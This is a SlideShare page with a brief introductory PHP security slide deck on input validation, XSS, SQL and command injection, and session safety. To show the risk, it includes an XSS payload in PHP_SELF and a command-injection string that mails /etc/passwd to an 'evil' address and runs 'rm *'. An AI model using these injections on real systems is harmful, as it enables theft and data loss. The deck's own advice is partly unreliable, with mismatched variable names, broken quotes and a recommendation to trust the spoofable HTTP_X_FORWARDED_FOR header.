SlideShare a Scribd company logo
PHP Security
by
Uttam KUmar
Email:- trickyuk001@gmail.com
Mobile:- 8149253187
What is Security?
measurement…
safety…
protection…
Secure Web Applications
web security issues have to do with:
– hacker attacks
• denial of service
• server hijacking
– common threats
– compromise of data
PHP & Security
a growing language…
a major concern…
Never trust the web…
Input data validation
– register_globals = OFF
– $_REQUEST[] big NO NO …
– type casting input data
• No isNumeric() if data is numeric [locale problem]
• regularExp if data is string
– Path validation
• Always use basename()
Never trust the web…
• Content size validation
– use server side max length validation
– File Upload
• Check destination file size with $_FILES[‘name’][‘size’]
• I think Browser MIME header is reliable right ?
– Use getImageSize() in case of image
• External source upload like Avtar
– Make a local copy if path/of/file submitted from a URL.
XSS attack
– Can lead to embarrassment.
– Session take-over.
– Password theft.
– User tracking by 3rd
parties
XSS attack
Prevention is better than cure
– Use striptags()
• No tag allowance please
– Use htmlentities()
– Is $_SERVER safe ?
• Can be set…
• Php.php/%22%3E%3Cscript%3Ealert(‘xss’)%3c/script%3E%3cfoo
• $_SERVER[‘PATH_INFO’] = /”><script>alert(‘xss’)</script><foo;
• $_SERVER[‘PHP_SELF’] = /php.php/”><script> alert(‘xss’)</script><foo
– IP based info
• Use HTTP_X_FORWARDED_FOR
• Use long2ip()
– $aIp = explode(‘,’,$_SERVER[HTTP_X_FORWARDED_FOR]);
– $sValidIp = long2ip(ip2long(array_pop($ipss)));
SQL Injection
WWW
– Arbitrary query execution
– Removal of data.
– Modification of existing values.
– Denial of service.
– Arbitrary data injection.
Preventing SQL injection
• Are magic quotes enough?
– use mysql_real_escape_string()
– use prepared statements
– avoid omitting single quotes
– LIKE quandary need addslashes()
– avoid printing query
– Authentication data storage
• Encrypt sensitive data to access database
• Make sure it’s only loaded for certain VirtualHost
Authentication Data Storage
SetEnv DB_LOGIN “login”
SetEnv DB_PASSWD “password”
Set Env DB_HOST “127.0.0.7”
<virtualHost iila.ws>
include /home/illa/sql.conf
</virtualHost>
$_SERVER[‘DB_LOGIN’]
$_SERVER[‘DB_PASSWD’]
/home/illa/sql.conf Apache server configuration
PHP file
Better Approach is to set these things under php’s ini directives
use php_admin_value mysql.default.user. “login”
Preventing code injection
– Path validation
– Validate fileName
$sFile = “D’sozaRes.doc’;
basename($sFile); //will return D’sozaRes.doc on *nix system
basename($sFile); //will return ’sozaRes.doc on win32
• Remove slashes
• Keep white list of file name
• Use full path
– Avoid variables in eval()
– Avoid using variable passed by users for regEx.
Command injection
– Use escapeshellcmd() and escapeshellarg()
– Use full path for command
– Set prority and memory limit for command
• shell_exec(“ulimit –t 20 –m 20000; /usr/bin/php test.php”);
Calling External Programs
<?php $fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?>
The user could control $to to yield:
http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A
which would result in running the command:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *
a solution would be:
$fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);
Securing sessions
• Weakness of session
– Server side weakness…
• ls –l /tmp/sess_* //can reveal session info
– URL session exploitation
• Solution
– Native protection.
– Mixing security and convenience.
– Securing session storage path
– Check browser signature
– Referrer validation
Questions…????
Thank You !!

More Related Content

PPTX
Application and Server Security
PDF
10 tips to improve your website security
PDF
Security in php
PPTX
PSConfEU - Offensive Active Directory (With PowerShell!)
PDF
I Have the Power(View)
PDF
4.4 PHP Session
PPT
php $_GET / $_POST / $_SESSION
PDF
4 Basic PHP
Application and Server Security
10 tips to improve your website security
Security in php
PSConfEU - Offensive Active Directory (With PowerShell!)
I Have the Power(View)
4.4 PHP Session
php $_GET / $_POST / $_SESSION
4 Basic PHP

What's hot (20)

PPTX
Introduction to Web security
PPTX
WordPress Security - WordPress Meetup Copenhagen 2013
PPT
Apache Web Server Setup 1
PPTX
Ch7(publishing my sql data on the web)
PDF
Tips for Fixing A Hacked WordPress Site - Vlad Lasky
PDF
Google Hacking Basics
PDF
Hack proof your ASP NET Applications
PPT
Apache Web Server Setup 4
PDF
Apache Server Tutorial
PPT
WordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
PDF
AmazonS3 & Rails
PPTX
Anatomy of a Drupal Hack - TechKnowFile 2014
PPTX
Bridging the Gap
PDF
Cross site calls with javascript - the right way with CORS
PDF
Securing WordPress
PPTX
Whats new in ASP.NET 4.0
PDF
Krzysztof Kotowicz - Hacking HTML5
PPTX
What You Missed in Computer Science
PPT
Securing Your Web Server
PPTX
Web Application Development using PHP Chapter 7
Introduction to Web security
WordPress Security - WordPress Meetup Copenhagen 2013
Apache Web Server Setup 1
Ch7(publishing my sql data on the web)
Tips for Fixing A Hacked WordPress Site - Vlad Lasky
Google Hacking Basics
Hack proof your ASP NET Applications
Apache Web Server Setup 4
Apache Server Tutorial
WordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
AmazonS3 & Rails
Anatomy of a Drupal Hack - TechKnowFile 2014
Bridging the Gap
Cross site calls with javascript - the right way with CORS
Securing WordPress
Whats new in ASP.NET 4.0
Krzysztof Kotowicz - Hacking HTML5
What You Missed in Computer Science
Securing Your Web Server
Web Application Development using PHP Chapter 7
Ad

Viewers also liked (20)

KEY
Rabobank - Crowdfunding: De bank buitenspel?
PDF
Innovation at Israel Mobile Monetization Summit
PDF
Ochoa marmex
PDF
WIAD Budapest 2014
PPT
Best Practices for Second Life
PDF
Crowdfunding - ProductIP - Meer dan geld alleen
PDF
Users, experience, and beyond
PPS
Ppt paragraaf 2.2_klas_3
PPT
Presentation at Day 0 2010
KEY
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
PDF
Of brains and buttons (UXCE, Berlin, Germany)
PDF
Grassroutes For Manthan
PDF
Crowdfunding introductie KvK en Livewire
PDF
TEDxThe HagueLIVE Sponsor Presentation
DOC
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
PDF
Crowdfunding - more than money - V4 conference
PDF
Topics, trends, and telephones
PDF
Django Girls 2015 - CSS
PPSX
Career 101 - Career Tips They Didn't Teach You in College
Rabobank - Crowdfunding: De bank buitenspel?
Innovation at Israel Mobile Monetization Summit
Ochoa marmex
WIAD Budapest 2014
Best Practices for Second Life
Crowdfunding - ProductIP - Meer dan geld alleen
Users, experience, and beyond
Ppt paragraaf 2.2_klas_3
Presentation at Day 0 2010
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
Of brains and buttons (UXCE, Berlin, Germany)
Grassroutes For Manthan
Crowdfunding introductie KvK en Livewire
TEDxThe HagueLIVE Sponsor Presentation
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
Crowdfunding - more than money - V4 conference
Topics, trends, and telephones
Django Girls 2015 - CSS
Career 101 - Career Tips They Didn't Teach You in College
Ad

Similar to Php security (20)

PPT
Php Security
PPT
Php My Sql Security 2007
ODP
My app is secure... I think
ODP
Security In PHP Applications
PDF
Intro to Php Security
PPT
Download It
PPT
Security.ppt
PPT
12-security.ppt - PHP and Arabic Language - Index
PPTX
Secure programming with php
PPTX
Php security common 2011
PPT
secure php
PPT
Php security
ODP
LAMP security practices
PPTX
Securing your web apps now
PDF
Tulsa techfest2010 security
PPT
PHPUG Presentation
PDF
PHP Secure Programming
PPT
Php Security By Mugdha And Anish
PPT
Php & Web Security - PHPXperts 2009
PDF
Session10-PHP Misconfiguration
Php Security
Php My Sql Security 2007
My app is secure... I think
Security In PHP Applications
Intro to Php Security
Download It
Security.ppt
12-security.ppt - PHP and Arabic Language - Index
Secure programming with php
Php security common 2011
secure php
Php security
LAMP security practices
Securing your web apps now
Tulsa techfest2010 security
PHPUG Presentation
PHP Secure Programming
Php Security By Mugdha And Anish
Php & Web Security - PHPXperts 2009
Session10-PHP Misconfiguration

Recently uploaded (20)

PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Approach and Philosophy of On baking technology
PPT
Teaching material agriculture food technology
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
MYSQL Presentation for SQL database connectivity
PPTX
Cloud computing and distributed systems.
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
Programs and apps: productivity, graphics, security and other tools
Reach Out and Touch Someone: Haptics and Empathic Computing
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Per capita expenditure prediction using model stacking based on satellite ima...
Network Security Unit 5.pdf for BCA BBA.
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Spectral efficient network and resource selection model in 5G networks
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Diabetes mellitus diagnosis method based random forest with bat algorithm
Understanding_Digital_Forensics_Presentation.pptx
sap open course for s4hana steps from ECC to s4
Approach and Philosophy of On baking technology
Teaching material agriculture food technology
Unlocking AI with Model Context Protocol (MCP)
MYSQL Presentation for SQL database connectivity
Cloud computing and distributed systems.
NewMind AI Weekly Chronicles - August'25 Week I
Building Integrated photovoltaic BIPV_UPV.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
Programs and apps: productivity, graphics, security and other tools

Php security

  • 1. PHP Security by Uttam KUmar Email:- trickyuk001@gmail.com Mobile:- 8149253187
  • 3. Secure Web Applications web security issues have to do with: – hacker attacks • denial of service • server hijacking – common threats – compromise of data
  • 4. PHP & Security a growing language… a major concern…
  • 5. Never trust the web… Input data validation – register_globals = OFF – $_REQUEST[] big NO NO … – type casting input data • No isNumeric() if data is numeric [locale problem] • regularExp if data is string – Path validation • Always use basename()
  • 6. Never trust the web… • Content size validation – use server side max length validation – File Upload • Check destination file size with $_FILES[‘name’][‘size’] • I think Browser MIME header is reliable right ? – Use getImageSize() in case of image • External source upload like Avtar – Make a local copy if path/of/file submitted from a URL.
  • 7. XSS attack – Can lead to embarrassment. – Session take-over. – Password theft. – User tracking by 3rd parties
  • 8. XSS attack Prevention is better than cure – Use striptags() • No tag allowance please – Use htmlentities() – Is $_SERVER safe ? • Can be set… • Php.php/%22%3E%3Cscript%3Ealert(‘xss’)%3c/script%3E%3cfoo • $_SERVER[‘PATH_INFO’] = /”><script>alert(‘xss’)</script><foo; • $_SERVER[‘PHP_SELF’] = /php.php/”><script> alert(‘xss’)</script><foo – IP based info • Use HTTP_X_FORWARDED_FOR • Use long2ip() – $aIp = explode(‘,’,$_SERVER[HTTP_X_FORWARDED_FOR]); – $sValidIp = long2ip(ip2long(array_pop($ipss)));
  • 9. SQL Injection WWW – Arbitrary query execution – Removal of data. – Modification of existing values. – Denial of service. – Arbitrary data injection.
  • 10. Preventing SQL injection • Are magic quotes enough? – use mysql_real_escape_string() – use prepared statements – avoid omitting single quotes – LIKE quandary need addslashes() – avoid printing query – Authentication data storage • Encrypt sensitive data to access database • Make sure it’s only loaded for certain VirtualHost
  • 11. Authentication Data Storage SetEnv DB_LOGIN “login” SetEnv DB_PASSWD “password” Set Env DB_HOST “127.0.0.7” <virtualHost iila.ws> include /home/illa/sql.conf </virtualHost> $_SERVER[‘DB_LOGIN’] $_SERVER[‘DB_PASSWD’] /home/illa/sql.conf Apache server configuration PHP file Better Approach is to set these things under php’s ini directives use php_admin_value mysql.default.user. “login”
  • 12. Preventing code injection – Path validation – Validate fileName $sFile = “D’sozaRes.doc’; basename($sFile); //will return D’sozaRes.doc on *nix system basename($sFile); //will return ’sozaRes.doc on win32 • Remove slashes • Keep white list of file name • Use full path – Avoid variables in eval() – Avoid using variable passed by users for regEx.
  • 13. Command injection – Use escapeshellcmd() and escapeshellarg() – Use full path for command – Set prority and memory limit for command • shell_exec(“ulimit –t 20 –m 20000; /usr/bin/php test.php”);
  • 14. Calling External Programs <?php $fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?> The user could control $to to yield: http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A which would result in running the command: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * a solution would be: $fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);
  • 15. Securing sessions • Weakness of session – Server side weakness… • ls –l /tmp/sess_* //can reveal session info – URL session exploitation • Solution – Native protection. – Mixing security and convenience. – Securing session storage path – Check browser signature – Referrer validation